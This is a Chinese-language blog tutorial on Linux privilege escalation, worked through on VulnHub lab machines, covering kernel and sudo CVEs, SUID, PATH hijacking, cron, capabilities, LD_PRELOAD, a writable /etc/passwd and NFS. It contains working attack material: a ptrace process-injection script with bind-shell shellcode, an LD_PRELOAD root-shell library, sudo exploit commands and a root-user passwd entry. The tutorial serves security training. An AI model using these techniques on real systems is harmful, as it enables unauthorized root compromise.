当前位置:首页>Linux>linux权限提升

linux权限提升

  • 2026-08-26 02:59:17
linux权限提升
  本篇我们来深入探讨一下linux系统的权限提升以及linpeas的使用。提权的重要性不用我多说,本篇将会包含所有常见常用的提权手法,均通过vlunhub靶机演示,使用提权辅助项目为linpeas(最新版本好像不报cve漏洞相关信息了,推荐今年一月份的版本),还有一些其他提权辅助项目,我就不一一介绍了。

内核溢出漏洞提权(CVE)

首先就是通过cve漏洞提权,比如有名的脏牛漏洞。本次我掩饰一个cve漏洞cve-2021-4034),靶机是darkhole-1,话不多说,开始演示。

  前期怎么获取webshell权限的我们不过多介绍,简单讲一下,nmap信息收集发现开发80端口,注册用户,重置密码时抓包修改id值修改admin的密码,然后文件上传,通过尝试发现可以解析phtml文件

  接下来我们将权限转到msf上面,至于为什么要这么做,原因之一是linpeas的输出是有颜色的,方便分辨,原因之二是msf自带大量与提权相关的cve漏洞利用,直接用,不用使用gcc编译(cve漏洞难以利用的一大原因就是编译问题,不是出错就是版本不一样)。

  哥斯拉自带了一个将权限转到msf的功能

  可以看到权限比较低,是www-data,接下来我们将linpeas.sh传上去,我选择的是在本地开一个http服务让目标主机下载
  这里我们需要说清楚一个事,可以看到我执行了chmod 777 linpeas.sh,为什么能执行呢?这是因为linpeas.sh是利用www-data权限传上去的,所以www-data就拥有该文件的所有权限,这是linux系统的一大特点。
  接下来我们执行linpeas.sh
  看到这个豌豆头就说明执行成功了,他会检测所有与提权有关的配置并生成报告
  正常情况是从上到下一个一个试,为什么是从上往下呢?细心的师傅们就会发现,每个cve下面有一行"Exposure",显示的是该漏洞在当前情况下的利用成功的可能性,从上往下排的。接下来我们去msf搜索该漏洞的poc
  至此,提权成功。如果msf没有或者我们没有使用msf怎么办呢?可以看到,linpeas为我们提供了poc下载地址(Download Url),但是需要我们自己编译。(对了,这个靶场好像还有其他的提权方式,比较麻烦,要先提权到另一个权限,再提权到root)。
  光说不练假本事,这里我再推荐两个同类型的靶场:

https://www.vulnhub.com/entry/lampiao-1,249/

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

SUID/GUID提权
首先我们了解一下suid是个什么,suid是一种文件权限标志,当一个文件被设置了SUID权限后,用户执行该文件时,会以文件所有者的身份来运行,guid就是用户组权限。还记得上面我们可以对我们自己下载的文件执行chmod,此时我们就是文件所有者,如果某个文件被设置了suid并且所有者是root,那么就有可能造成提权,具体看案例演示。
  开头还是信息收集,利用cms已知漏洞获取web权限
  依旧豌豆头
  看运行日志
  这里的cve漏洞也值得一试,但是重点是suid提权,我们看linpeas日志里面与suid相关的
  重点看红色的,特别是打了底色的,然后看看文件所有者。
  可以看到find的所有者是root,也就是说find会以root权限运行,疑问是怎么通过find命令提权,或者换一种方式问,怎么通过find命令执行命令或者带出shell窗口。
  这里有一个在线网站,辅助我们进行suid提权,“https://gtfobins.org/”,有什么用?它会告诉你哪些命令(比如find)怎么执行命令或者弹出shell。怎么使用?我们直接在上面搜
  可以看到,find命令可以弹出shell,命令也给出来了。我们直接输入命令即可。
  实际上这里是弹出了一个新的sh窗口。至此,提权成功。
  如果突发事故,linpeas无法运行怎么办?这时我们就需要手工进行信息收集,查看有哪些suid权限的文件,常用的四条收集命令如下
find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;find / -perm -g=s -type f 2>/dev/null
  同样推荐练习靶场:

https://www.vulnhub.com/entry/toppo-1,245/

SUDO提权

sudo提权分为两种,一种是配置问题,有些运维为了方便会将某个命令设置为某个用户可以直接使用sudo运行,不用文件所有者的密码(root密码);另外一种是sudo自身的cve漏洞。具体看演示

  1、sudo配置问题,演示靶机:https://www.vulnhub.com/entry/toppo-1,245/,对,就是上面推荐的那个。

  开头依旧信息收集,依旧信息泄漏

  ssh登陆,用户名不是ted123就是ted,经过测试时ted

  我们直接手工收集信息,查看当前用户可以免密使用sudo执行哪些文件,以下两条命令可以收集

cat /etc/sudoerssudo -l

  可以看到有awk一条命令,去https://gtfobins.org/这个网站搜,就是那个suid提权辅助网站,我们也能拿来辅助sudo提权

  直接执行就完事了

  至此,提权成功。

2、sudo的cve漏洞

  cve漏洞我就不演示了,这其实是第一种提权方式的内容,linpeas也会检测,简单说一下sudo的历史cve漏洞。

CVE-2019-14287:Sudo 安全策略绕过漏洞
    影响版本:Sudo < 1.8.28
    利用条件:本地普通用户账户 + sudoers 有 (ALL, !root) 配置。
    利用方法:
    sudo -u#-1 [command]
    或
    sudo -u#4294967295 [command]
    利用前提:检查 sudo -l 输出,没有配置特定用户或者目前就是特定用户。
    PoC 链接:
        https://github.com/n0w4n/CVE-2019-14287 (检测与利用脚本)
        https://www.exploit-db.com/exploits/47502 (Exploit-DB 官方 PoC)
CVE-2019-18634:Pwfeedback 栈缓冲区溢出漏洞
    影响版本:Sudo 1.7.1 ~ 1.8.30(需启用 pwfeedback)
    利用条件:sudoers 中启用 pwfeedback(非默认) + 本地账户(无需 sudo 权限)。
    利用方法:使用脚本向密码提示发送大量输入触发溢出。
    PoC 链接:
        https://github.com/saleemrashid/sudo-cve-2019-18634 (完整功能利用)
        https://github.com/Plazmaz/CVE-2019-18634 (BSS 溢出利用)
        https://www.exploit-db.com/exploits/47995 (简单崩溃 PoC)

     说白了,比较鸡肋

CVE-2021-3156(Baron Samedit):堆缓冲区溢出漏洞
    影响版本:Sudo 1.8.2 ~ 1.8.31p2、1.9.0 ~ 1.9.5p1
    利用条件:仅需本地用户账户(无需 sudoers 配置)。
    利用方法:
    sudoedit -s '\' $(python3 -c 'print("A"*1000)')
    PoC 链接:
        https://github.com/blasty/CVE-2021-3156 (可靠完整利用)
        https://github.com/worawit/CVE-2021-3156 (带写up 的 x64 利用)
        https://www.exploit-db.com/exploits/49522 (Exploit-DB 版本)
CVE-2023-22809:Sudoedit 环境变量绕过漏洞
    影响版本:Sudo 1.8.0 ~ 1.9.12p1
    利用条件:用户具有 sudoedit 权限。
    利用方法:
    SUDO_EDITOR="vim -- /etc/sudoers" sudoedit /tmp/file
    或使用自动化脚本修改 sudoers。
    PoC 链接:
        https://github.com/n3m1sys/CVE-2023-22809-sudoedit-privesc (自动化提权脚本)
        https://www.exploit-db.com/exploits/51217 (Exploit-DB 完整脚本)
CVE-2025-32462:–host 选项主机检查绕过漏洞
    影响版本:Sudo 1.8.8 ~ 1.9.17(包括 legacy 分支)
    利用条件:sudoers 有主机限制配置 + 本地账户。
    利用方法:使用 -h <伪造主机> 执行受限命令。
    PoC 链接:官方未单独广泛公开 PoC,通常与 CVE-2025-32463 结合在lab中(如https://github.com/MAAYTHMCVE-2025-32462_32463-Lab Docker PoC)。
     说白了,真实环境下基本没有
CVE-2025-32463:chroot 功能滥用提权漏洞
    影响版本:Sudo 1.9.14 ~ 1.9.17
    利用条件:默认配置即可(无需 sudoers 规则)。
    利用方法:创建恶意 chroot 目录,运行 sudo -R <恶意目录> [command] 触发库加载获取 root shell。
    PoC 链接:
        https://github.com/pr0v3rbs/CVE-2025-32463_chwoot (简单 Docker PoC,名为 “chwoot”)
        https://github.com/kh4sh3i/CVE-2025-32463 (bash 脚本利用)
        https://github.com/MohamedKarrab/CVE-2025-32463 (无需 gcc 的预编译 payload)
        https://www.exploit-db.com/exploits/52352 (Exploit-DB sudo-chwoot.sh)
PATH环境变量提权
  环境变量大家并不陌生吧,为什么windows在cmd里面输入calc会弹出计算器,就是path的功劳,就是定义了calc所对应的程序文件所在地址。
  环境变量提权,就是将自定义的suid进行环境变量劫持,什么意思,直接看演示,演示靶机:https://www.vulnhub.com/entry/symfonos-1,322/
  这里说一下,这个靶机拿到普通权限是很麻烦的,这里简单带过,就是通过smb拿到线索,发现还有一个wordpress网页,发现有文件包含漏洞,利用stmp写webshell,获取权限
  好了好了,重点来了,怎么利用环境变量提权。首先我们需要了解到,linux的环境变量是怎样的
echo $PATH
  上面的命令是查看当前的环境变量
  比如说有一个程序调用了系统命令但是没有写绝对路径,比如调用curl是写的curl而不是/usr/share/doc/curl(我不确定是不是啊,只是打个比方),于是系统就会在系统变量里面查找,会按照PATH输出的文件夹里面从头开始查找curl所在文件并执行(比如上面图片里面的就是/usr/local/sbin->/usr/local/bin->/usr/sbin->/usr/bin->/sbin->/bin->/usr/local/games->/usr/games),但是如果我们将自己写的curl写入环境变量里面的话,就会执行我们自己写的curl,如果不理解不要紧,我们看演示
  另外,我们利用PATH提权需要结合suid,能想明白吗?前面解释过具有suid权限的程序会以文件所有者的权限执行,如果没有能现成使用的,但是有自定义的,比如写了个什么程序里面有curl,就能提权
  先看SUID有什么
  可以看到,这个ststuscheck是自定义的suid,其他suid不能用于提权,我们看看里面有什么
  可以看到,有没写绝对路径的命令,是curl,于是我们就能劫持curl的环境变量,自己写一个
  将/var/tmp写入环境变量,新写入的环境变量会排在最前面,在/var/tmp目录写一个curl文件,里面是弹出sh窗口,直接执行,此时就会在/var/tmp目录里面找curl并执行,由于又是suid权限,就会直接弹出suid权限的sh窗口
  思维发散一下,除了suid的命令,还有哪些可以劫持呢,凡是有高权限执行的文件里面有没写绝对路径的都能劫持,比如sudo,计划任务等等都能劫持。

Cron计划任务提权

在linux里面,cron计划任务里面的任务默认以最高权限执行,如果有哪个计划任务的执行文件我们能修改,那么我们就能进行提权。话不多说,开始演示,使用靶场:https://www.vulnhub.com/entry/jarbas-1,232/

  信息收集走起,得到线索jenkins后台账号密码

  登陆,是eder:vipsu,第三对

  登陆,创建任务,获取权限

  提权,先看看计划任务有什么,命令如下

cat /etc/crontab

  看看这个执行文件的相关权限

ls -lia /etc/script/CleaningScript.sh

  结果如下,我给大家解释一下,重点关注-rwxrwxrwx和root root这两部分,r代表读,w代表写,x代表执行,有三组,每一组有那个字符就代表有那种权限,第一组rwx代表文件所有者权限,第二组rwx代表文件所有组权限,第三组代表其他用户权限;第一个root代表文件所有者,第二个root代表文件所有组

844412 -rwxrwxrwx. 1 root root 50 Apr  1  2018 /etc/script/CleaningScript.sh

   可以看到其他用户拥有写权限,并且执行文件所有者是root,于是我们可以修改执行文件写入恶意代码

  静静等待文件被执行,每五分钟执行一次

  提权成功。其实还可以使用path劫持,大家可以试一下。

Capability提权

首先介绍一下什么是capability,你可以将它理解为suid的进化版本,suid是将用户所有者的全部权限权限交出而capability是将权限细分,比如什么程序拥有什么权限,所有capability有多种权限模式,给大家列出最容易造成提权的几种权限模式

CAP_SYS_ADMIN #使用mount挂载恶意文件系统,然后利用该文件系统里的恶意代码提权CAP_SETUID & CAP_SETGID  #将自己的用户ID和组ID切换为rootCAP_CHOWN #更改系统文件的所有者CAP_DAC_OVERRIDE #访问和修改任何文件CAP_SYS_MODULE #加载恶意的内核模块CAP_SYS_PTRACE #进程注入

  怎么看capability呢,命令如下,一个不行换另一个

/sbin/getcap -r / 2>/dev/nullgetcap -r / 2>/dev/null

  现在开始演示,演示靶机:https://www.vulnhub.com/entry/hacker-kid-101,719/

  怎么获取普通权限的我就不说了,直接看提权

  先看capability

  发现有一个python拥有cap_sys_ptrace能力,我们就能利用python注入root进程实现提权,先看看root进程

  挺多的,我们利用以下脚本进行进程注入

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4PTRACE_GETREGS    = 12PTRACE_SETREGS    = 13PTRACE_ATTACH     = 16PTRACE_DETACH     = 17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):    _fields_ = [            ("r15", ctypes.c_ulonglong),                    ("r14", ctypes.c_ulonglong),                    ("r13", ctypes.c_ulonglong),                    ("r12", ctypes.c_ulonglong),                    ("rbp", ctypes.c_ulonglong),                    ("rbx", ctypes.c_ulonglong),                    ("r11", ctypes.c_ulonglong),                    ("r10", ctypes.c_ulonglong),                    ("r9", ctypes.c_ulonglong),                    ("r8", ctypes.c_ulonglong),                    ("rax", ctypes.c_ulonglong),                    ("rcx", ctypes.c_ulonglong),                    ("rdx", ctypes.c_ulonglong),                    ("rsi", ctypes.c_ulonglong),                    ("rdi", ctypes.c_ulonglong),                    ("orig_rax", ctypes.c_ulonglong),                    ("rip", ctypes.c_ulonglong),                    ("cs", ctypes.c_ulonglong),                    ("eflags", ctypes.c_ulonglong),                    ("rsp", ctypes.c_ulonglong),                    ("ss", ctypes.c_ulonglong),                    ("fs_base", ctypes.c_ulonglong),                    ("gs_base", ctypes.c_ulonglong),                    ("ds", ctypes.c_ulonglong),                    ("es", ctypes.c_ulonglong),                    ("fs", ctypes.c_ulonglong),                    ("gs", ctypes.c_ulonglong),    ]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.for i in xrange(0,len(shellcode),4):  # Convert the byte to little endian.    shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)    shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')    shellcode_byte=int(shellcode_byte_little_endian,16)    # Inject the byte.    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)

  直接python inject.py 端口号

  这里失败了,我们就直接遍历所有端口号

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 python_cap_sys_ptrace.py $i; done

  总有一些进程是能注入的,然后我们连接对方的5600端口

  至此,提权成功。

历史日志文件查找

linpeas会自动查询,当然也可以手工看,就是比较麻烦,据了解,linpeas会查询~/.bash_history,~/.zsh_history,~/.sh_history,/root/.bash_history(如果有权限)等文件利用关键字匹配

LD_Preload加载
以及什么是起手,ld_preload是是一个动态链接器环境变量,用于在程序运行前强制加载指定的共享库(.so),从而优先劫持/覆盖系统原有函数,就比如原本ls加载它默认的库,但是为ls设置了ld_preload后,ls会优先加载你设置的so文件。我在本地给大家演示
  环境设置,开启ld_preload,将vim添加到sudo里面,对,ld_preload提权也需要依靠sudo或者suid
  打开sudoer文件,更改类容,开启ld_preload,所以利用前提是开启ld_preload
Defaults env_keep += LD_PRELOAD
  将vim添加到sudo
指定用户名 ALL=(ALL) NOPASSWD: /usr/bin/vim
  先看sudo相关信息,上面说过的
  发现vim并不能带出权限,由于是绝对路径,不能使用环境变量劫持,我们可以测试能否使用ld_preload,先创建一个c文件用于弹出shell
#include<stdio.h>#include<sys/types.h>#include<stdlib.h>#include<unistd.h>void __attribute__((constructor)) _init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/sh");}
  然后编译为so文件
gcc -fPIC -shared -o t.so t.c -nostartfiles
 为vim设置ld_preload
  如果报错就说明对方没有开启ld_preload
/etc/passwd等文件错误配置为可写
我将他放在后面是因为这种情况几乎不存在,如果/etc/passwd可写的话,我们自己就能创建一个另外的超级用户了
  还记得ls -lia查看文件权限吗,直接看最后一组有没有w,有就能写,没有就不能。
  怎么写?先创建密码,使用openssl加密一下密码
openssl passwd -1 123456
  例如添加一个名为yueqian的 root 用户,至于怎么生成,直接chatgpt(该说不说,chatgpt是真好用)
yueqian:$1$gsScV.jb$NaQjGTtNccPyBYkFQYNad0:0:0:root:/root:/bin/bash
  $1$01QDSR4t$e8NcN85jKX21Vt3VB9gna.是123456加密之后的密文,然后我们su yueqian,输入我们自己设置的密码123456,就能提权了。
  除了/etc/passwd文件之外,还有一下文件配置为可写也会导致提权
/etc/shadow:改 root hash → su root
/etc/sudoers
/etc/cron.d/*
/etc/systemd/system/*.service

NFS提权-结合SUID

最后再说一个吧(其实还有很多手法的),利用nfs结合suid进行提权,nfs可以使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样,当nfs共享目录启用了 no_root_squash,那么客户端的 root = 服务端的 root。

  如果是这样的话,我们只需要再攻击机上面以root身份挂载对方的nfs目录,然后使用suid弹出shell窗口即可获取对方root权限。

1:查看 NFS 共享目录  showmount -e nfs服务器ip  如果看到有no_root_squash就可行2:在攻击机创建挂载点  mkdir nfs3:再攻击机上面挂载nfs  mount -t nfs nfs服务器ip:/tmp/nfs(共享目录) ./nfs(挂载目录)  或者  mount -o nolock nfs服务器ip:共享目录 。/mfs(挂载目录)4:在攻击机上生成suid  cp /bin/bash /tmp/nfs/rootbash  chmod +x /tmp/nfs/rootbash5:回到目标机器,使用rootbash执行的命令及root权限
  OK了,本篇到这里就结束了,因为再写下去就变成万字拆解了(才怪,还有三分之一呢),linux提权还有许多方法等待大家分享,希望大家有所收获

最新文章

随机文章